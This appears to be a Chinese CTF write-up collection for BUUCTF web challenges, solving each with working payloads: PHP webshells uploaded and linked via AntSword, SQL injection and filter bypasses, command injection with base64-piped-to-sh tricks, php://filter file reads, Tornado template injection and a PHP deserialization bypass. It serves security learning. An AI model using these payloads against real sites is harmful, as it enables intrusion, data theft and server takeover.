[HCTF 2018]WarmUp
题目类型:PHP代码审计  查看源码,发现有一个source.php文件  查看此文件,出现一堆PHP代码  发现里面有一个hint.php文件,查看一下  文件里说明flag在ffffllllaaaagggg里 
- 代码审计
is_string():检测变量是否是字符串 isset():检测变量是否已设置并且非 NULL in_array(要搜索的值,要搜索的数组):搜索数组中是否存在指定的值 mb_substr($page,n,m):返回page中从第n位开始,到n+m位字符串的值 mb_strpos():查找字符串在另一个字符串中首次出现的位置 urldecode():将url编码后的字符串还原成未编码的样子
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
[极客大挑战 2019]EasySQL
题目类型:简单的SQL注入 直接万能密码 
[极客大挑战 2019]Havefun
题目类型:代码审计 查看源代码
</div>
<!--
$cat=$_GET['cat'];
echo $cat;
if($cat=='dog'){
echo 'Syc{cat_cat_cat_cat}';
}
-->
<div style="position: absolute;bottom: 0;width: 99%;"><p align="center" style="font:italic 15px Georgia,serif;color:black;"> Syclover @ cl4y</p></div>
</body>
</html>
代码审计 有一个cat变量,通过get方式传参,如果cat=dog输出flag 使用构造payload:/?cat=dog

[强网杯 2019]随便注
题目类型:SQL注入 本题要有SQL语法基础:SQL通用语法    查询3时报错,说明有两个字段
然后想尝试联合查询 结果报错return preg_match("/select|update|delete|drop|insert|where|\./i",$inject); 发现过滤了select|update|delete|drop|insert|where|\./i 爆数据库:1';show databases;#  爆表名:1'; show tables;#  出来两个表 1'; show columns from words;# 
1'; show columns from '1919810931114514';# 注意:表名为数字时,要用反引号包起来查询。  发现1919810931114514表中有flag
接下来的参考大佬们的方法 大佬文章里总结了三种方法,第一种比较好理解,其他两种怪我太菜看不太明白
- 通过 rename 先把 words 表改名为其他的表名。
- 把 1919810931114514 表的名字改为 words 。
- 给新 words 表添加新的列名 id 。
- 将 flag 改名为 data 。
1'; rename table words to word1; rename table '1919810931114514' to words;alter table words add id int unsigned not Null auto_increment primary key; alert table words change flag data varchar(100);#
[ACTF2020 新生赛]Include
题目类型:文件包含、PHP封装协议  点击链接
 出现了flag.php文件,?file=flag.php 猜测文件包含漏洞,此时就要想办法查看这个文件,那怎样来查看呢,下面是我学到的一个方法
重要的知识点——PHP封装协议: php://filter/read=convert.base64-encode/resource=xxx.php php://filter 是php中独有的一个协议,可以作为一个中间流来处理其他流,可以进行任意文件的读取;根据名字filter,可以很容易想到这个协议可以用来过滤一些东西; 使用不同的参数可以达到不同的目的和效果: resource=<要过滤的数据流> 指定了你要筛选过滤的数据流。 必选 read=<读链的筛选列表> 可以设定一个或多个过滤器名称,以管道符(|)分隔。 可选 write=<写链的筛选列表> 可以设定一个或多个过滤器名称,以管道符(|)分隔。 可选 <;两个链的筛选列表> 任何没有以 read= 或write=作前缀 的筛选器列表会视情况应用于读或写链。 php://filter与包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行编码,阻止其不执行。从而导致任意文件读取。 read=convert.base64-encode,用base64编码输出,不然会直接当做php代码执行,看不到源代码内容。
-
php://filter协议,用base64编码的方式来读文件flag.php;这时页面会显示出源文件flag.php经过base64编码后的内容,然后经过base64解码就可以看到flag; -
payload: /?file=php://filter/read=convert.base64-encode/resource=flag.php -
得到base64编码后的内容为: PD9waHAKZWNobyAiQ2FuIHlvdSBmaW5kIG91dCB0aGUgZmxhZz8iOwovL2ZsYWd7Y2U4MzdmMmYtYjI2Mi00ZDYxLWEzOWQtOTE4OWIwYmM0ODZkfQo= -
接着base64解码: <?php
echo "Can you find out the flag?";
-
得到flag~~
我们再以这种方法查看一下index.php文件
<meta charset="utf8">
<?php
error_reporting(0);
$file = $_GET["file"];
if(stristr($file,"php://input") || stristr($file,"zip://") || stristr($file,"phar://") || stristr($file,"data:")){
exit('hacker!');
}
if($file){
include($file);
}else{
echo '<a href="?file=flag.php">tips</a>';
}
?>
[SUCTF 2019]EasySQL
 先判断一下是数字型还是字符型,输入1  OK,有回显;然后各种试试试,都是nonono
还好,试了一下堆叠注入 爆出数据库:1;show databases;# 爆表:1;show tables;# 然后爆字段:1;show columns from FLAG;# ,输入后回显Nonono. ,猜测有被过滤 总之试了好多,搞得我又双叒叕不会了,唉···
下面是学习众多大佬的方法 不知道大佬们怎么猜测出查询语句为:select ".$post['query']."||flag from Flag 由于本题没有过滤* ,用* 查询flag中的所有字段,所以直接构造payload为:*,1  就是这么神奇
[极客大挑战 2019]Secret File
 查看源码
<!DOCTYPE html>
<html>
<style type="text/css" >
#master {
position:absolute;
left:44%;
bottom:0;
text-align :center;
}
p,h1 {
cursor: default;
}
</style>
<head>
<meta charset="utf-8">
<title>蒋璐源的秘密</title>
</head>
<body style="background-color:black;"><br><br><br><br><br><br>
<h1 style="font-family:verdana;color:red;text-align:center;">你想知道蒋璐源的秘密么?</h1><br><br><br>
<p style="font-family:arial;color:red;font-size:20px;text-align:center;">想要的话可以给你,去找吧!把一切都放在那里了!</p>
<a id="master" href="./Archive_room.php" style="background-color:#000000;height:70px;width:200px;color:black;left:44%;cursor:default;">Oh! You found me</a>
<div style="position: absolute;bottom: 0;width: 99%;"><p align="center" style="font:italic 15px Georgia,serif;color:white;"> Syclover @ cl4y</p></div>
</body>
</html>
有这样一行代码<a id="master" href="./Archive_room.php" style="background-color:#000000;height:70px;width:200px;color:black;left:44%;cursor:default;">Oh! You found me</a> 进入这个目录查看一下  点击secret  提示查阅结束,返回上个目录,查看一下源码 此时也没有什么发现,抓个包试了试
 这里提示secr3t.php,我们进入这个目录看一下  这里提示flag放在了flag.php里,进入falg.php目录 还是没有出现flag,找到了但是看不到,此时又想到了PHP的封装协议,我们用一下 [ACTF2020 新生赛]Include里面使用的方法
构造payload: /secr3t.php?file=php://filter/convert.base64-encode/resource=flag.php
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>FLAG</title>
</head>
<body style="background-color:black;"><br><br><br><br><br><br>
<h1 style="font-family:verdana;color:red;text-align:center;">啊哈!你找到我了!可是你看不到我QAQ~~~</h1><br><br><br>
<p style="font-family:arial;color:red;font-size:20px;text-align:center;">
<?php
echo "我就在这里";
$flag = 'flag{24db537d-9661-4a16-98c8-5c9df4c936fc}';
$secret = 'jiAng_Luyuan_w4nts_a_g1rIfri3nd'
?>
</p>
</body>
</html>
成功找到flag~~
[ACTF2020 新生赛]Exec
与[GXYCTF2019]Ping Ping Ping题类似,但此题更简单
需要了解的知识点 ls(英文全拼:list files):用于显示指定工作目录下的内容(列出目前工作目录所含之文件及子目录)
cat(英文全拼:concatenate):用于连接文件并打印到标准输出设备上。
 查看此文件的目录:127.0.0.1|ls  只有一个index.php
查看上级目录127.0.0.1|ls /  查看flag:127.0.0.1|cat /flag  拿到flag~~
[极客大挑战 2019]LoveSQL
这里提示用 sqlmap 是没有灵魂的,他说没灵魂,可我就是想试一下,结果确实没有灵魂,奉劝像我一样有叛逆心理的师傅们还是不要浪费时间试了······
听话孩子的解法: 先随便输入一个万能密码  找到回显位置  试试联合查询,一直到3的时候回显正常  2和3有回显位置  
输入用户名为1 爆数据库password=:1' union select 1,2,database()#  得到数据库名为geek 爆表名password=1' union select 1,2,table_name from information_schema.tables where table_schema=database() limit 0,1# ——爆出表名为geekuser 爆表名password=1' union select 1,2,table_name from information_schema.tables where table_schema=database() limit 1,1# ——爆出表名为l0ve1ysq1 爆列名password=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1' # ——id,username,password  爆数据:/check.php?username=1&password=1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1%23 咦?最后这里有点像flag的一部分,怎么就出来这点?缩小一下看看
呐,不能再小了;嘻嘻,直接F12呗
拿到flag~~
[GXYCTF2019]Ping Ping Ping
具体知识点点这里 题目类型:命令执行+代码审计  提示/?ip=
输入/?ip=127.0.0.1 ,回显成功  显示当前的所有文件:/?ip=127.0.0.1|ls
这里查到了两个php文件 查看flag.php:?ip=127.0.0.1|cat flag.php
这里提示/?ip= fxck your space! 额···fxck是什么东西,space是空格,大佬说应该是空格被过滤了
命令中空格被过滤的解决方法: {cat,flag.txt} cat${IFS}flag.txt cat$IFS$9flag.txt : $IFS$9 $9指传过来的第9个参数 cat<flag.txt cat<>flag.txt kg=$'\x20flag.txt'&&cat$kg (\x20转换成字符串就是空格,这里通过变量的方式巧妙绕过)
试试第一个方法:/?ip=127.0.0.1|{cat,flag.php} 发现符号又被过滤了,说明{} 大括号被过滤了,那第二个不能用了 试试第三个方法/?ip=127.0.0.1|cat$IFS$9flag.php flag也被过滤了!
不是查出来两个文件嘛,看看另一个吧 查看index.php文件:/?ip=127.0.0.1|cat$IFS$9index.php 发现这个PHP代码好像不太全,我们查看一下源码,出来了,下面是PHP代码
<?php
if(isset($_GET['ip'])){
$ip = $_GET['ip'];
if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!");
} else if(preg_match("/ /", $ip)){
die("fxck your space!");
} else if(preg_match("/bash/", $ip)){
die("fxck your bash!");
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
}
$a = shell_exec("ping -c 4 ".$ip);
echo "<pre>";
print_r($a);
}
?>
代码审计一下,好多都被过滤了emmm;但最后有个变量a,我也不知道怎么做 不会了,学一下大佬的方法吧
-
方法一:变量拼接字符串——将a的值覆盖,然后进行绕过 构造payload:/?ip=127.0.0.1;a=g;cat$IFS$9fla$a.php 总之就是用变量拼接成flag 啥也没有,查看源码 /?ip=
<pre>PING 127.0.0.1 (127.0.0.1): 56 data bytes
<?php
$flag = "flag{af15354a-6bdf-4609-b230-75bdc03e1dbf}";
?>
拿到flag~~ -
方法二:内联执行 内联函数:将指定的函数体插入并取代每一处调用该函数的地方。 反引号在linux中作为内联执行,执行输出结果。也就是说 cat `ls` //执行ls输出 index.php 和 flag.php 。然后再执行 cat flag.php;cat index.php 构造payload /?ip=127.0.0.1;cat$IFS$9`ls`  方法三:sh命令来执行 使用 base64 编码的方式来绕过 flag 过滤。 加密命令 echo “cat flag.php” | base64 解密命令并执行 echo Y2F0IGZsYWcucGhwCg== | base64 -d | sh
然后用$IFS$9 代替空格。 构造payload:/?ip=127.0.0.1;echo$IFS$9Y2F0IGZsYWcucGhwCg==$IFS$9|$IFS$9base64$IFS$9-d$IFS$9|$IFS$9sh 拿到flag~~
[极客大挑战 2019]Knife
很明显的提示,用中国菜刀或者蚁剑,这里我使用蚁剑
构造payload:/?<?php eval($_POST["Syc"]);?>
打开蚁剑添加数据 URL地址为:http://094fc751-45ef-4f6e-961d-daee474ee7b4.node4.buuoj.cn/index.php 密码为:Syc 
用蚁剑查看目录 查看根目录,找到flag 进入flag文件夹里  拿到flag~~
[极客大挑战 2019]Http
 
查看源代码,发现有一个Secret.php 
进入这个访问该目录 提示:It doesn’t come from ‘https://www.Sycsecret.com’,也就是说这个页面得来自https://www.Sycsecret.com,添加referer即可
Referer头用于告诉web服务器,用户是从哪个页面找过来的
 提示Please use “Syclover” browser:请使用“Syclover”浏览器 添加User-Agent:Syclover
User-Agent头用于告诉web服务器用户使用的浏览器和操作系统信息
提示No!!! you can only read this locally!!!:不! !您只能在本地阅读!! 添加X-Forwarded-For:127.0.0.1 拿到flag~~
[RoarCTF 2019]Easy Calc
对我来说是一道难题,不过又学到好多  查看源码  抓包 发现calc.php,访问一下 有个黑名单
OKOK,上面是我所有收集到的信息,然后源码有部分也看不懂,不知道该怎么下手,甚至还不知道这是个什么类型的题目,下面开始学习大佬
知识点:
- chr() 函数:从指定的 ASCII 值返回字符。 ASCII 值可被指定为十进制值、八进制值或十六进制值。八进制值被定义为带前置0,而十六进制值被定义为带前置 0x。
- file_get_contents() 函数:把整个文件读入一个字符串中。该函数是用于把文件的内容读入到一个字符串中的首选方法。如果服务器操作系统支持,还会使用内存映射技术来增强性能。
- PHP的字符串解析特性:PHP需要将所有参数转换为有效的变量名,因此在解析查询字符串时,它会做两件事:1.删除空白符 2.将某些字符转换为下划线(包括空格)【当waf不让你过的时候,php却可以让你过】。假如waf不允许num变量传递字母,可以在num前加个空格,这样waf就找不到num这个变量了,因为现在的变量叫“ num”,而不是“num”。但php在解析的时候,会先把空格给去掉,这样我们的代码还能正常运行,还上传了非法字符。
- scandir() 函数:返回指定目录中的文件和目录的数组。
查看源码  $("#content").val()相当于 document.getElementById(“content”).value;
-
方法一:PHP的字符串解析特性 尝试一下/calc.php?num=phpinfo() 
PHP的字符串解析特性:PHP需要将所有参数转换为有效的变量名,因此在解析查询字符串时,它会做两件事:1.删除空白符 2.将某些字符转换为下划线(包括空格)【当waf不让你过的时候,php却可以让你过】。假如waf不允许num变量传递字母,可以在num前加个空格,这样waf就找不到num这个变量了,因为现在的变量叫“ num”,而不是“num”。但php在解析的时候,会先把空格给去掉,这样我们的代码还能正常运行,还上传了非法字符。
num前加个空格:/calc.php? num=phpinfo()  由于“/”被过滤了,所以我们可以使用chr(47)来进行表示,进行目录读取: calc.php? num=1;var_dump(scandir(chr(47)))  构造:/flagg ——chr(47).chr(102).chr(49).chr(97).chr(103).chr(103) payload:calc.php? num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))  -
方法二:http走私攻击 构造:/flagg ——chr(47).chr(102).chr(49).chr(97).chr(103).chr(103) payload:/calc.php?num=file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)) 
[极客大挑战 2019]Upload
 创建一个木马文件,以便后续用蚁剑链接 文件内容为
GIF89a
<script language="php">eval($_POST['a']);</script>
可绕过的后缀名检测:php,php3,php4,php5,phtml.pht
上传此文件,然后提示Not image! 
用burpsuite抓包,根据提示,修改Content-Type 的内容为 image/jpeg 
URL地址为:/upload/a.phtml 连接密码为:a 
 找到flag文件   拿到flag~~
[极客大挑战 2019]PHP
具体知识点点这里 题目类型:序列化与反序列化
 这儿提示备份网站,用dirsearch扫一下后台目录 输入:python dirsearch.py -u http://9b76aef7-3183-4da4-a909-0f95ad5b6607.node4.buuoj.cn -e php  找到www.zip,访问一下 跳出弹窗,点击下载
 发现有flag.php目录 
<?php
$flag = 'Syc{dog_dog_dog_dog}';
?>
无用信息 查看index.php源码,  发现包含class.php文件,采用get传参select,还有个php反序列化函数unserialize()
查看另一个文件class.php  查看源码 
发现有输出flag的条件,接下来代码审计
<?php
include 'flag.php';
error_reporting(0);
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = 'guest';
}
function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}
?>
通过反序列化来执行destruct函数,如果password=100,username=admin,可以获得flag
构造序列化
<?php
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
}
$a = new Name('admin', 100);
var_dump(serialize($a));
?>

接着执行反序列化,执行之前限制性wakeup函数,但是__wakeup函数会修改username的值,所以一个想办法绕过wakeup 绕过方法:当成员属性数目大于实际数目时可绕过wakeup方法(CVE-2016-7124)
-
方法一:用序列化加%00 private:属性被序列化的时候属性名会变成%00类名%00属性名 ,长度跟随属性名长度而改变。加%00的目的就是用于替代\0 O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
构造payload:/?select=O:4:%22Name%22:3:{s:14:%22%00Name%00username%22;s:5:%22admin%22;s:14:%22%00Name%00password%22;i:100;}  -
方法二:直接url编码 <?php
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
}
$a = new Name('admin', 100);
var_dump(serialize($a));
var_dump(urlencode(serialize($a)));
?>

[护网杯 2018]easy_tornado
首先出来三个链接 查看flag.txt 提示flag在/fllllllllllllag中 OK,知道了第一个条件,filename=/fllllllllllllag 查看welcome.txt 查看hints.txt  分析一下  这里有两个参数,第一个参数filename,文件的名称,我们通过查看flag.txt文件知道,藏flag的文件名为fllllllllllllag;第二个参数filehash,翻译一下:文件哈希,也就是加密了
加密方法在第三个文件中md5(cookie_secret+md5(filename)) ,将cookie_secret+filename的值md5加密后的值,整体再md5加密;然后把最后的值赋给filehash
现在最重要的一步就是获取cookie_secret的值,这个我不会。看一下大佬们怎么做
在试的过程中,尝试只输入filename的值而忽略filehash,结果出来以下内容,URL变成/error?msg=Error 我们前面忽视了第二个文件内容render 。我以为只是个没用的信息,结果一查,还是个挺重要的东西,怪我见得太少
render是python中的一个渲染函数,也就是一种模板,通过调用的参数不同,生成不同的网页 ,如果用户对render内容可控,不仅可以注入XSS代码,而且还可以通过{{}}进行传递变量和执行简单的表达式。 Tornado是一种 Web 服务器软件的开源版本。Tornado 和现在的主流 Web 服务器框架(包括大多数 Python 的框架)有着明显的区别:它是非阻塞式服务器,而且速度相当快。
以上是我的分析过程,下面看一下大佬的解法
由于是python的一个模板,首先想到的就是模板注入{{}},最终找到的位置是报错网页(随便访问一个文件是更改它的签名就可以进入),里面的参数msg。 render是模板注入,经过测试发现过滤了。构造payload:/error?msg={{1*2}}

在tornado模板中,存在一些可以访问的快速对象,这里用到的是handler.settings,handler指向RequestHandler,而RequestHandler.settings又指向self.application.settings,所以handler.settings就指向RequestHandler.application.settings了,这里面就是我们的一些环境变量
构造payload/error?msg={{handler.settings}}
 找到cookie_secret为6e6e371d-7445-46db-8066-46e0e25c8b7a
filename的值md5加密后为3bf9f6cf685a6dd8defadabfb41a03a1 cookie_secret+filename加密后的值为9ff081746c35f525a315a313ac1a00d8 构造payload:/file?filename=/fllllllllllllag&filehash=9ff081746c35f525a315a313ac1a00d8

[ACTF2020 新生赛]Upload
题目类型:文件上传,一句话木马  上传一句话木马<?php eval($_POST[a]);?> ,修改后缀名为.jpg 
burpsuite抓包,修改后缀名  知道修改为.phtml 后显示上传成功 
使用蚁剑连接,URL地址为:http://848a2803-bdd9-4890-be0e-526c8ce1433f.node4.buuoj.cn:81/./uplo4d/71056c0c9cb12f2b7d720156da9eabf1.phtml 
  拿到flag~~
[极客大挑战 2019]BabySQL
题目类型:SQL注入 
输入用户名为admin ,密码为1'  由报错信息可知存在SQL注入漏洞  先试一下常规注入:/check.php?username=admin&password=1' union select 1#  根据报错信息猜测union 、select可能被过滤了,试一下双写绕过 /check.php?username=admin&password=1' ununionion seselectlect 1#  继续报错,URL编码试一下,然后试列数 payload:/check.php?username=admin&password=1' ununionion seselectlect 1,2,3%23 
出现回显位置2和3
爆数据库:/check.php?username=admin&password=1' ununionion seselectlect 1,2,group_concat(schema_name)frfromom(infoorrmation_schema.schemata) %23
 猜测flag在ctf里 爆表:/check.php?username=admin&password=1' ununionion seselectlect 1,2, group_concat(table_name)frfromom(infoorrmation_schema.tables) whwhereere table_schema="ctf" %23  查字段名:/check.php?username=admin&password=pwd ' ununionion seselectlect 1,2,group_concat(column_name) frfromom (infoorrmation_schema.columns) whwhereere table_name="Flag"%23  /check.php?username=admin&password=pwd ' ununionion seselectlect 1,2,group_concat(flag) frfromom(ctf.Flag)%23

[ACTF2020 新生赛]BackupFile
题目类型:备份文件
-
知识点
== 是不判断二者是否是同一数据类型,而=== 是更为严格的比较,它不仅要求二者值相等,而且还要求它们的数据类型也相同。- 常见的备份文件后缀:
.rar .zip .7z .tar .gz .bak .swp .txt .html is_numeric 函数用于检测变量是否为数字或数字字符串intval() 函数用于获取变量的整数值- 数字 加 字母等非数字转换
var s = ‘234string’; parseInt(s); //234 parseFloat(s); //234.0
-
解题步骤  用dirsearch扫一下目录:python dirsearch.py -u 3943f78f-4c3d-4d7c-8728-9f59f4527095.node4.buuoj.cn:81 -e php  访问index.php.bak  出现PHP代码 <?php
include_once "flag.php";
if(isset($_GET['key'])) {
$key = $_GET['key'];
if(!is_numeric($key)) {
exit("Just num!");
}
$key = intval($key);
$str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
if($key == $str) {
echo $flag;
}
}
else {
echo "Try to find out source file!";
}
代码审计:通过key变量get传参,要求此变量必须是数字,且取整数之后值为123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3 取key的值为123 
[极客大挑战 2019]BuyFlag

 查看源码  代码审计:以post方式传参,money=100000000,password满足等于404,但是不能为数字,所以password等于404+任意字符 使用burpsuite抓包
总结一下需要满足四个条件:前面提示必须是cuit的学生 ;以post方式传参 ;money=100000000 ;password=404a 。
所以修改cookie里的user=0 为user=1

password=404a&money=100000000 , 这里提示数字太长 password=404a&money=1e9 
|